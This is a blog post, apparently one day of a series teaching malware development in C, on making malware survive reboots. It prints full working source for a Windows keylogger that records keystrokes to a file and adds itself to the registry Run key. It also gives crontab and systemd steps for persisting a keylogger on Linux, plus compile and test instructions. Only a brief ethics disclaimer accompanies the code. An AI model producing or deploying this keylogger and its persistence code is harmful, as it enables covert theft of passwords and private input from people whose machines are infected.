10-Day Plan for Learning Malware Development in C: Day 8 – Malware Persistence and Survivability - blackgem

W E L C O M E

https://i.imgur.com/fEamA3G.png

Thursday, November 7, 2024

10-Day Plan for Learning Malware Development in C: Day 8 – Malware Persistence and Survivability


On day 8 of our journey into malware development in C, we’re going to cover one of my favorite techniques, a critical aspect of malware behavior: persistence. Malware persistence techniques are used to ensure that a malicious program continues to execute even after the system reboots, allowing it to maintain control or surveillance over a long period of time. Let's explore how to achieve persistence in both Windows and Unix environments by leveraging common startup mechanisms.



Day 8 – Malware Persistence and Survivability

Objective

Today’s goal is to understand how malware can be kept on a system to ensure it executes automatically every time the system starts. We’ll explore various techniques for persistence, such as adding entries to startup mechanisms in both Windows and Unix systems. At the end, we’ll modify our keylogger to make it run automatically at system startup.


Persistence Mechanisms

Persistence is the ability of malware to survive system reboots. There are many ways to achieve persistence, depending on the operating system and security context. Malware developers use persistence techniques to maintain their presence on a system over time, ensuring their code continues to run even after the target reboots or logs off.


Persistence Techniques in Windows and Unix

Windows Persistence Techniques

In Windows, there are several common ways to make a program run on startup:

  1. Registry Run Keys:

    • Registry is a database used by Windows to store system and application settings. The Run keys are popular targets for malware seeking persistence because anything added to these keys will run when the user logs in.
    • The keys can be found in:
      • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
      • HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
  2. Startup Folder:

    • Windows also has a Startup Folder that contains shortcuts to programs that should be executed when a user logs in. This is a simpler method and can be used by copying a shortcut to your program into:
      • %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup
  3. Tasks: Achieving malware persistence can be done by using hidden scheduled tasks (e.g., Windows Task Scheduler or Linux cron jobs) to execute malicious scripts periodically or by embedding automated startup entries within the registry or system services to ensure persistence across reboots.

Unix (Linux) Persistence Techniques

In Unix-like systems, persistence can be achieved by adding your program to system startup scripts:

  1. Crontab:

    • The crontab utility is used to schedule scripts or commands at specific intervals. Adding an entry to crontab can ensure your program starts at reboot.
    • Example of adding a cron job:

      @reboot /path/to/your/program
  2. Systemd Service:

    • Systemd is a modern system manager that provides a powerful way to control startup processes. Creating a custom service can make your program run every time the system boots.


Setting Up Persistence in Windows

To make our keylogger run automatically when Windows starts, we’ll use the Registry Run Key method.

Example Code for Registry Run Key


#include <windows.h> #include <stdio.h> int main() { HKEY hKey; LONG regStatus; const char *regPath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; const char *valueName = "MyKeylogger"; const char *exePath = "C:\\path\\to\\your\\keylogger.exe"; // Open the Registry key where startup programs are listed regStatus = RegOpenKeyEx(HKEY_CURRENT_USER, regPath, 0, KEY_SET_VALUE, &hKey); if (regStatus != ERROR_SUCCESS) { printf("Error: Unable to open registry key. Error code: %ld\n", regStatus); return 1; } // Set the value to point to the keylogger executable regStatus = RegSetValueEx(hKey, valueName, 0, REG_SZ, (BYTE *)exePath, strlen(exePath) + 1); if (regStatus != ERROR_SUCCESS) { printf("Error: Unable to set registry value. Error code: %ld\n", regStatus); RegCloseKey(hKey); return 1; } printf("Persistence added successfully. Keylogger will run at system startup.\n"); // Close the Registry key RegCloseKey(hKey); return 0; }

Explanation

  • Registry Key Path: We’re adding an entry to the HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run key.
  • RegOpenKeyEx(): This function opens the specified registry key.
  • RegSetValueEx(): This function adds a value to the key, specifying the executable path of our keylogger, which makes it run on user login.

Setting Up Persistence in Unix Systems

On Unix-like systems, we’ll use crontab to ensure that our keylogger runs whenever the system reboots.

Example of Adding Persistence Using Crontab

  1. Edit Crontab:

    • To add a cron job that runs your keylogger at startup, edit the crontab:
      crontab -e
    • Add the following line to run the program on reboot:

      @reboot /path/to/your/keylogger
  2. Systemd Service (Optional for Advanced Users):

    • Create a systemd service file to automate starting your program:

      sudo nano /etc/systemd/system/keylogger.service
    • Add the following content:

      [Unit] Description=Keylogger Persistence Service [Service] ExecStart=/path/to/your/keylogger Restart=always [Install] WantedBy=multi-user.target
    • Enable the service to run on startup:

      sudo systemctl enable keylogger.service


Microproject – Modifying the Keylogger for Persistence

Now, let’s modify our keylogger to ensure it automatically starts when the system is booted.

Modified Keylogger with Persistence on Windows

We’ll combine the keylogger with the registry persistence method to make it automatically execute.

Combined Code


#include <windows.h> #include <stdio.h> #include <string.h> // XOR encryption/decryption function void xorEncryptDecrypt(char *data, char key) { for (int i = 0; i < strlen(data); i++) { data[i] ^= key; // XOR each character with the key } } // Function to map virtual key codes to readable characters char *keyMap(int key) { if (key >= 0x30 && key <= 0x39) return (char[]){(char)key, '\0'}; // Numbers if (key >= 0x41 && key <= 0x5A) return (char[]){(char)key, '\0'}; // Letters if (key == VK_SPACE) return " "; if (key == VK_RETURN) return "[ENTER]"; if (key == VK_TAB) return "[TAB]"; if (key == VK_BACK) return "[BACKSPACE]"; return "[UNK]"; // Unknown key } int addPersistence() { HKEY hKey; LONG regStatus; const char *regPath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; const char *valueName = "MyKeylogger"; const char *exePath = "C:\\path\\to\\your\\keylogger.exe"; // Open the Registry key where startup programs are listed regStatus = RegOpenKeyEx(HKEY_CURRENT_USER, regPath, 0, KEY_SET_VALUE, &hKey); if (regStatus != ERROR_SUCCESS) { printf("Error: Unable to open registry key. Error code: %ld\n", regStatus); return 1; } // Set the value to point to the keylogger executable regStatus = RegSetValueEx(hKey, valueName, 0, REG_SZ, (BYTE *)exePath, strlen(exePath) + 1); if (regStatus != ERROR_SUCCESS) { printf("Error: Unable to set registry value. Error code: %ld\n", regStatus); RegCloseKey(hKey); return 1; } // Close the Registry key RegCloseKey(hKey); return 0; } int main() { // Add persistence by adding to the Registry Run key if (addPersistence() == 0) { printf("Persistence added successfully.\n"); } // Start keylogging FILE *logFile = fopen("keylog.txt", "a+"); if (logFile == NULL) { printf("Error: Unable to open log file.\n"); return 1; } while (1) { for (int key = 8; key <= 190; key++) { if (GetAsyncKeyState(key) & 0x0001) { // If key is pressed char *keyStr = keyMap(key); fprintf(logFile, "%s", keyStr); // Write key to log file fflush(logFile); // Ensure data is written to disk printf("%s", keyStr); // Optionally print to console } } Sleep(10); // Small delay to prevent CPU overuse } fclose(logFile); // Close the file when done return 0; }

Explanation

  • addPersistence(): This function is called at the start of main() to add the keylogger to the registry so that it runs at startup.
  • After adding persistence, the keylogger starts capturing keystrokes as usual.


Testing and Validation

  1. Compile the Code

    • Save the code to a file, e.g., persistent_keylogger.c.
    • Compile it as usual for Windows:

      gcc -o persistent_keylogger persistent_keylogger.c -luser32
  2. Run the Program

    • Run the program on your Windows machine and check if it successfully adds itself to the registry.
    • Restart the machine and verify that the keylogger starts automatically.

Success!

Note: If you modified the path in the code you should see that path added to the registry, in my case I did not modify it to cover my paths.

Security and Ethical Considerations

  • Ethical Use: Persistence techniques should only be tested in controlled environments where you have explicit permission. Unauthorized use is illegal and unethical.
  • Sandbox Testing: Always test malware or persistence techniques in a sandboxed or isolated environment to avoid impacting production systems.


Conclusion

Awesome, you’ve learned how to make a program persist on a system across reboots, ensuring that it runs automatically every time the system is started. Persistence is a critical concept in malware development, giving the ability to maintain control over a target system. Please let me know if this has been useful or if you have any other techniques for me to try!


Happy Hacking! ❤

No comments:

Post a Comment